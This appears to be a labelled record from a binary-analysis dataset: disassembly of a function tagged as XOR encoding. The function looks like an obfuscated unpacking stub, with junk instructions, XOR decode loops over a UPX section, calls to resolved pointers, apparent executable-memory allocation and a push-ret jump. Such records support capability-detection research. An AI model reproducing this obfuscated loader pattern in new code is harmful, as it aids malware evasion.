Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x35541a70
not ebx
or ebx, edx
popal
mov edx, ebx
sub edx, 0x1d1e06b1
not edx
mov eax, 0
mov edi, ebx
add edx, edx
add esi, 0x1aabf014
and edx, esi
mov ecx, edi
not esi
add edx, edx
sub esi, 0x4ced948d
mov ebx, ecx
add esi, edx
add edx, 0x7c308724
inc eax
dec edx
mov edx, 0xeb48afcc
cmp eax, 0x1006ee0
jne 0xa789c6
inc esi
sub esi, 0x17efe974
inc edx
add ebx, 0x3471cd17
sub edx, ebx
mov esi, 0xa78796
and edi, edi
sub eax, 0xa8505f03
mov eax, 0xd211121d
mov ecx, 0xa7898a
mov edx, 0x8ab137af
sub edx, 1
add eax, 0x63763a6a
mov ebx, dword [esi]
mov eax, edi
sub edi, 0xbbaa1377
dec edi
and ebx, 0xff
inc edx
add eax, edi
xor dword [ecx], ebx
dec edi
add eax, edx
add ecx, 1
add eax, 0xce26a331
dec edi
inc esi
add edi, edi
not edi
cmp ecx, entry0
jl 0xa78a33
add edi, edx
sub eax, edi
mov edi, 0x9cb8e8d9
add edx, 0x6fc14e9c
add edx, eax
sub ecx, 0x72dd7a3
and ecx, ecx
mov edx, 0xa7898e
dec ecx
mov edi, 0xee57e5fa
mov edx, dword [edx]
sub ebx, 0x1ed889f
sub ecx, 0xb3734c9e
or ecx, esi
mov edx, dword [edx]
and edi, ebx
mov edi, esi
inc ecx
push edx
mov esi, 0x1170214a
dec ebx
sub esi, ecx
mov edx, 0xa7898a
not ebx
or ebx, esi
mov edx, dword [edx]
dec ecx
not esi
add ecx, 0xc906bfea
mov edx, dword [edx]
mov esi, ebx
or ecx, ecx
push 0xa78992
add esi, 0x645a29bf
mov edi, ebx
mov ebx, esi
call edx
and ebx, esi
inc esi
not edi
pop edx
sub esi, 1
inc ecx
push 0xa7899f
add edi, 0xf1a496a7
sub edi, ebx
add edi, 0x558af1d6
push eax
inc esi
add ebx, edi
inc ebx
call edx
or ecx, ecx
inc edi
add ebx, esi
sub esp, 4
mov dword [esp], 0x40
mov edi, ebx
sub ebx, 1
inc ecx
push 0x3000
not edi
inc ecx
push 0x20000f87
dec esi
add edi, 0x7a11727
sub ebx, 0x34b0aca4
push 0
mov ecx, edi
mov edi, ebx
not esi
call eax
add ebx, 0x6fb5d0d8
mov esi, 0xf62f6505
or edi, ecx
add eax, 0x20000f10
add edi, 1
dec ecx
mov edx, 0xc1d5f336
add edi, ecx
mov edi, esi
inc ebx
mov dword [eax], edx
inc ecx
add edi, edi
mov edx, dword [eax]
sub esi, ecx
add ecx, ebx
cmp edx, 0xc1d5f336
je 0xa78b7d
mov eax, 0
mov ebx, dword [eax]
add edi, 0x3f8de235
inc ebx
add edi, 0x67f8badd
or esi, edi
add ebx, ecx
add ebx, ebx
add ebx, 0xd806c1a6
mov edx, ebx
mov edi, section.UPX1
and edx, ebx
sub edx, ebx
mov eax, 0xa78795
add ebx, 1
or ebx, ebx
mov ecx, 0
add ebx, 0x34cd87ac
inc ebx
sub edx, 0x7ed56bc2
mov esi, 0xa78796
add edx, edx
sub ebx, 0x47feda90
add edx, 0x337b13a2
lea esi, [ecx + esi]
mov edx, ebx
mov edx, 0x6c7789dc
and ebx, ebx
mov esi, dword [esi]
inc edx
add edx, edx
and esi, 0xff
add ebx, 0xd3568d54
mov ebx, edx
inc ecx
and ebx, edx
add edx, 0x20cfd9bd
cmp ecx, 0x1f4
jne 0xa78c08
mov ecx, 0
add edx, 0x8ca88035
sub edx, ebx
add ebx, 1
add edx, ebx
add ebx, 0x4f956504
xor dword [edi], esi
not edx
add ebx, 0x36559284
add edi, 2
mov ebx, edx
not edx
cmp edi, eax
jl 0xa78bc0
mov ebx, 0x62673138
add edx, 1
and edx, edx
add ebx, ebx
or ebx, ebx
mov esi, section.UPX1
and ecx, edi
sub ecx, edi
mov edx, section.UPX1
mov edi, ecx
mov edi, 0x95bf1c95
mov eax, 0xa78795
or ecx, edi
mov ecx, 0xfbe9c1f1
mov edi, 0x6bd2e6cd
mov ebx, 0
inc edi
sub edi, 0x3f01a837
or ecx, ecx
mov bl, byte [edx]
mov edi, 0x36c007dc
mov edi, ecx
or edi, edi
mov byte [esi], bl
mov edi, ecx
dec edi
sub edi, 0x5ecd2686
inc esi
add ecx, 0x4d6796c
add ecx, 0x2baf9bb4
add edx, 2
mov edi, ecx
add edi, ecx
mov ecx, edi
cmp edx, eax
jle 0xa78c7f
not ecx
add edi, 0x98661eee
sub ecx, 1
add ebx, ebx
inc ebx
push 0x8dc6a0
mov edx, ebx
dec ebx
not ebx
ret